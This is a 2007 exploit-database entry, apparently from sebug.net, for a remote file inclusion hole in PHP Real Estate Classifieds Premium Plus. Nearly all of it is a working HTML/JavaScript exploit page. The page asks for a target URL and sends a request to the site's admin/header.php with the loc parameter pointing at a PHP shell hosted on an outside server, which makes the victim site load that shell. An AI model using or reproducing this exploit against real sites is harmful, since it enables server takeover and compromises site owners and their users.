PHP Real Estate Classifieds Remote File Inclusion Exploit

🗓️ 10 Jun 2007 00:00:00Reported by RootType
PHP Real Estate Classifieds Premium Plus Remote File Inclusion Exploi

                                                &lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=windows-1254&quot;&gt;
&lt;title&gt;PHP Real Estate Classifieds Premium Plus(header.php) Remote File Inclusion 
Exploit&lt;/title&gt;

&lt;script language=&quot;JavaScript&quot;&gt;

//===============================================================================================
//&#91;Script Name: PHP Real Estate Classifieds Premium Plus
//&#91;               not sec group
//&#91;Author     : http://notsec.com
//&#91;Email      : [email protected]
//===============================================================================================
//developers page:  http://phprealestatescript.com/

   var path=&quot;/admin/&quot;
   var adres=&quot;header.php&quot; 
   var acik =&quot;?loc=&quot; 
   var shell=&quot;http://notsec.com/shell.txt&quot; // put THE php shell here

   function command(){
       if (document.rfi.target1.value==&quot;&quot;){
          alert(&quot;Failed..&quot;);
      return false;
    }



  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready
  rfi.submit(); 
   }
&lt;/script&gt;

&lt;/head&gt;

&lt;body bgcolor=&quot;white&quot;&gt;
&lt;center&gt;

&lt;p&gt;&lt;b&gt;&lt;font face=&quot;Arial&quot; size=&quot;1&quot; color=&quot;black&quot;&gt;PHP Real Estate (header.php) Remote File Inclusion Exploit&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;
&lt;form method=&quot;post&quot; target=&quot;getting&quot; name=&quot;rfi&quot; onSubmit=&quot;command();&quot;&gt;
    &lt;b&gt;&lt;font face=&quot;verdana&quot; size=&quot;1&quot; color=&quot;black&quot;&gt;Target:&lt;/font&gt;
	&lt;font face=&quot;verdana&quot; size=&quot;1&quot; color=&quot;black&quot;&gt;&#91;http://&#91;vittima&#93;/&#91;path&#93;&lt;/font&gt;&lt;font color=&quot;black&quot; size=&quot;2&quot; face=&quot;Tahoma&quot;&gt;
  &lt;/font&gt;&lt;font color=&quot;white&quot; size=&quot;1&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/b&gt;
  &lt;input type=&quot;text&quot; name=&quot;target1&quot; size=&quot;10&quot; style=&quot;background-color: white&quot; onmouseover=&quot;javascript:this.style.background='white';&quot; onmouseout=&quot;javascript:this.style.background='white';&quot;&gt;&lt;/p&gt;
  &lt;p&gt;&lt;input type=&quot;submit&quot; value=&quot;submit&quot; name=&quot;B1&quot;&gt;&lt;input type=&quot;reset&quot; value=&quot;reset&quot; name=&quot;B2&quot;&gt;&lt;/p&gt;
&lt;/form&gt;
&lt;p&gt;&lt;br&gt;
&lt;iframe name=&quot;getting&quot; height=&quot;400&quot; width=&quot;650&quot; scrolling=&quot;yes&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;
&lt;/p&gt;

&lt;b&gt;&lt;font face=&quot;verdana&quot; size=&quot;1&quot; color=&quot;gray&quot;&gt;# notsec.com &#91;08-06-2007&#93;&lt;/font&gt;&lt;/b&gt;&lt;p&gt;&lt;/b&gt;&lt;/p&gt;
&lt;/p&gt;
&lt;/center&gt;
&lt;/body&gt;

&lt;/html&gt;

# sebug.net
10 Jun 2007 00:00Current
7.1High risk
Vulners AI Score7.1